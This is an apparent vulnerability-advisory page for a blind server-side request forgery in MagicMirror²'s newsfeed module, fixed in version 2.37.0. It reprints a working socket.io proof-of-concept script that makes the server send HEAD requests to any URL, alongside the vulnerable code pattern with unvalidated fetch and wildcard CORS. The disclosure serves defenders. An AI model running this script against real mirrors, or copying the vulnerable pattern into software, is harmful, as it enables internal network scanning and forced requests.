CVE-2026-63642: MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery
Vulnerability — Blind SSRF via CHECKARTICLEURL (MagicMirror² newsfeed) Analysis of the PoC exploit-ssrf-newsfeed.js. Target: newsfeed/nodehelper.js of MagicMirror², socket.io namespace /newsfeed. --- Identification Field Value -------------- PoC file exploit-ssrf-newsfeed.js Endpoint socket.io namespace /newsfeed, notification CHECKARTICLEURL Precondition reach the mirror's HTTP port (no authentication required) ---…
Published Aug 18, 2026
Affected packages
magicmirror
- Ecosystem
- npm
- Affected
- < 2.37.0
- Fixed in
- 2.37.0
- Check
npm ls magicmirror
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)
Analysis of the PoC exploit-ssrf-newsfeed.js. > Target: newsfeed/node_helper.js of MagicMirror², socket.io namespace /newsfeed.
---
Identification
| Field | Value | | **PoC file** | `exploit-ssrf-newsfeed.js` | | **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` | | **Precondition** | reach the mirror's HTTP port (no authentication required) |
---
Description
The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.
This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.
The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.
---
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
---
Exploit (exploit-ssrf-newsfeed.js)
const { io } = require("socket.io-client");
const TARGET = process.env.MM || "https://target/";
const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site";
const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => {
if (event === "ARTICLE_URL_STATUS") {
console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);
console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF).");
process.exit(0);
}
});
socket.on("connect", () => {
console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);
socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT });
});
setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000);---
Vulnerable target code (pattern)
async checkArticleUrl(url) {
const res = await fetch(url, { method: "HEAD" });
const canFrame = !res.headers.get("x-frame-options")
&& !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}---
Impact
- Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the
mm-internallog referenced by the PoC). - Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.
---
References
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-306: Missing Authentication for Critical Function
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- OWASP: SSRF Prevention Cheat Sheet
This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.
Credited to gabrie0x6c.
References
- https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-998g-7v5w-cr7g
- https://github.com/MagicMirrorOrg/MagicMirror/pull/4169
- https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f
- https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0
- https://github.com/advisories/GHSA-998g-7v5w-cr7g
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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